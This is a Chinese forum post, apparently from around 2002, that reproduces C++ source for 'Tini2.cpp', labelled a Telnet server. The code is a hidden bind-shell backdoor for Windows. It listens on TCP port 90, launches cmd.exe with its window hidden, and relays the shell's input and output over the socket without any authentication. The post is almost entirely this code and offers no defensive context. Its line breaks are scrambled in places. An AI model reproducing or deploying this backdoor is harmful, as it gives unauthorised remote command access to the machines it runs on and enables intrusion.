愚人
  
级别:本站元老 威望:2 经验:1 货币:5046 体力: 来源:袄饿日反对撒 总发帖数:1577 注册日期:2002-01-19
|
|
查看 邮件 主页 QQ 消息 引用 复制 下载
////////////////////////////////////////////////////////////////////////////////
// // Telnet Server. // // File : Tini2.cpp //
// Create at : 2002.3.28 // Create by : dancefire , refdom
// Email
: dangcefire@263.net , refdom@263.net //
// If you modify the code,
or add more functions, please email me a copy. //
////////////////////////////////////////////////////////////////////////////////
#include <stdio.h> #include <winsock2.h>
#pragma comment(lib, "ws2_32.lib") #pragma comment(lib,
"kernel32.lib")
#define PORT 90
SOCKET ServerSocket
= INVALID_SOCKET; SOCKET ClientSocket = INVALID_SOCKET;
HANDLE hReadPipe, hWritePipe, hWriteFile, hReadFile; u_char
varA,varB;
DWORD WINAPI ThreadFuncA( LPVOID lpParam ) {
SECURITY_ATTRIBUTES pipeattr;
DWORD nByteToWrite, nByteWritten;
char recv_buff[1024];
pipeattr.nLength =
sizeof(SECURITY_ATTRIBUTES);
pipeattr.lpSecurityDescriptor = NULL;
pipeattr.bInheritHandle = TRUE;
CreatePipe(&hReadPipe,
&hWriteFile,
&pipeattr,
0);
varA = 1;
while(true) {
Sleep(250);
nByteToWrite = recv(ClientSocket,
recv_buff,
1024,
0);
WriteFile(hWriteFile,
recv_buff,
nByteToWrite,
&nByteWritten,
NULL);
} return 0; }
DWORD WINAPI
ThreadFuncB( LPVOID lpParam ) {
SECURITY_ATTRIBUTES pipeattr; DWORD len;
char send_buff[25000];
pipeattr.nLength =
sizeof(SECURITY_ATTRIBUTES);
pipeattr.lpSecurityDescriptor = NULL;
pipeattr.bInheritHandle = TRUE;
CreatePipe(&hReadFile,
&hWritePipe,
&pipeattr,
0);
varB = 1; while
(true) {
ReadFile(hReadFile,
send_buff,
25000,
&len,
NULL);
send(ClientSocket,
send_buff,
len,
0);
} return 0; }
void main(void) { WSADATA
WSAData; struct sockaddr_in RemoteAddr;
int nRetCode; DWORD
dwThreadIdA,dwThreadIdB,dwThreadParam=0;
OSVERSIONINFO osvi; PROCESS_INFORMATION
processinfo; STARTUPINFO startinfo;
WSAStartup(MAKEWORD(2,2),&WSAData);
ServerSocket = socket(AF_INET, SOCK_STREAM,
IPPROTO_TCP); RemoteAddr.sin_family =
AF_INET; RemoteAddr.sin_port = htons(PORT);
RemoteAddr.sin_addr.S_un.S_addr = INADDR_ANY;
bind(ServerSocket,(LPSOCKADDR)&RemoteAddr,sizeof(RemoteAddr));
listen(ServerSocket, 5);
varA = 0; varB =
0; CreateThread(NULL, 0, ThreadFuncA, NULL,
0, &dwThreadIdA); CreateThread(NULL, 0,
ThreadFuncB, NULL, 0, &dwThreadIdB);
do{ Sleep(250); }while((varA || varB) ==
0);
GetStartupInfo(&startinfo);
startinfo.dwFlags =
STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
startinfo.hStdInput = hReadPipe;
startinfo.hStdError = hWritePipe;
startinfo.hStdOutput = hWritePipe;
startinfo.wShowWindow = SW_HIDE;
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
GetVersionEx(&osvi);
char szAPP[256];
GetSystemDirectory(szAPP,MAX_PATH+1);
if(osvi.dwPlatformId == 2) {
strcat(szAPP,"\\cmd.exe");
if (CreateProcess(szAPP,
NULL, NULL, NULL, TRUE, 0,
NULL, NULL, &startinfo,
&processinfo) == 0) {
printf
("CreateProcess Error!\n");
return;
} }
else {
strcat(szAPP,"\\command.exe");
CreateProcess(NULL,
szAPP,
0,
0,
true,
0,
0,
0,
&startinfo,
&processinfo); }
while (true) {
ClientSocket = accept(ServerSocket, NULL, NULL);
Sleep(250);
} }
|